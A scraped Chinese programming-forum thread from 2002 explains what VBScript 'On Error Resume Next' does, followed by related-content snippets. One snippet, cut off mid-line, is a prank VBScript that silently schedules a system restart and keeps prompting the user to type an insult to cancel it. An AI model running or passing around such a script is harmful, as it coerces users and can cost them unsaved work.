"on error resume next"这句话的含义是什么?

cyycgd 2002-01-31 12:29:07

"on error resume next"这句话的含义是什么?

...全文

132 6 打赏收藏转发到动态举报

写回复

6 条回复

切换为时间正序

请发表友善的回复…

发表回复

RadeZ 2002-01-31

打赏
举报

回复

就是忽略遇到的错误

ashaioo 2002-01-31

打赏
举报

回复

遇到错误，继续执行

superlink 2002-01-31

打赏
举报

回复

遇到错误跳过这一行往下执行

lihaitaoami 2002-01-31

打赏
举报

回复

写程序时最好不要加这一句，不然出错了却不知道错在哪里，弄不好还把网页搞死。
程序发布以后加上这一句倒是满重要的。

BrightEye 2002-01-31

打赏
举报

回复

忽略错误继续执行下面的代码.如果是if then.....end if,则执行end if以后的部分;如果是for ...next,则执行next以后的语句.如果是........

fengz 2002-01-31

打赏
举报

回复

同上

On Error Resume Next语句 On Error Goto 0语句 Err对象

将VBS或ASP中的代码转成一句话形式.doc

有趣的vb小程序

文件提取器程序，文件提取器将所选文件名存到Word表格中(VB6.0源代码编写)irecordcount = File1.ListCount 'On Error Resume Next '创建word应用程序，这一句话打开word2000 Set wdapp = CreateObject("Word.Application") '在word中添加一个新文档 Set wddoc = wdapp.Documents.Add With wdapp .Visible = True .Activate '在word中增加一个表格 Set atable = .ActiveDocument.Tables.Add(.Selection.Range, irecordcount + 1, 3) '三代表列数 atable.Cell(1, 1).Range.InsertAfter "窗体名称" atable.Cell(1, 2).Range.InsertAfter "窗体说明" atable.Cell(1, 3).Range.InsertAfter "窗体文件" '指定表格内容 For i = 0 To irecordcount - 1 If Right(File1.List(i), 3) = "frm" Or Right(File1.List(i), 3) = "bas" Or Right(File1.List(i), 3) = "Dsr" Then atable.Cell(i + 2, 1).Range.InsertAfter Mid(File1.List(i), 1, Len(File1.List(i)) - 4) atable.Cell(i + 2, 3).Range.InsertAfter File1.List(i) Else End If Next i End With

on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(

28,406

社区成员

356,946

社区内容

发帖

与我相关

我的任务

社区管理员

加入社区

近7日
近30日
至今

加载中

查看更多榜单

社区公告

暂无公告

试试用AI创作助手写篇文章吧

+ 用AI写文章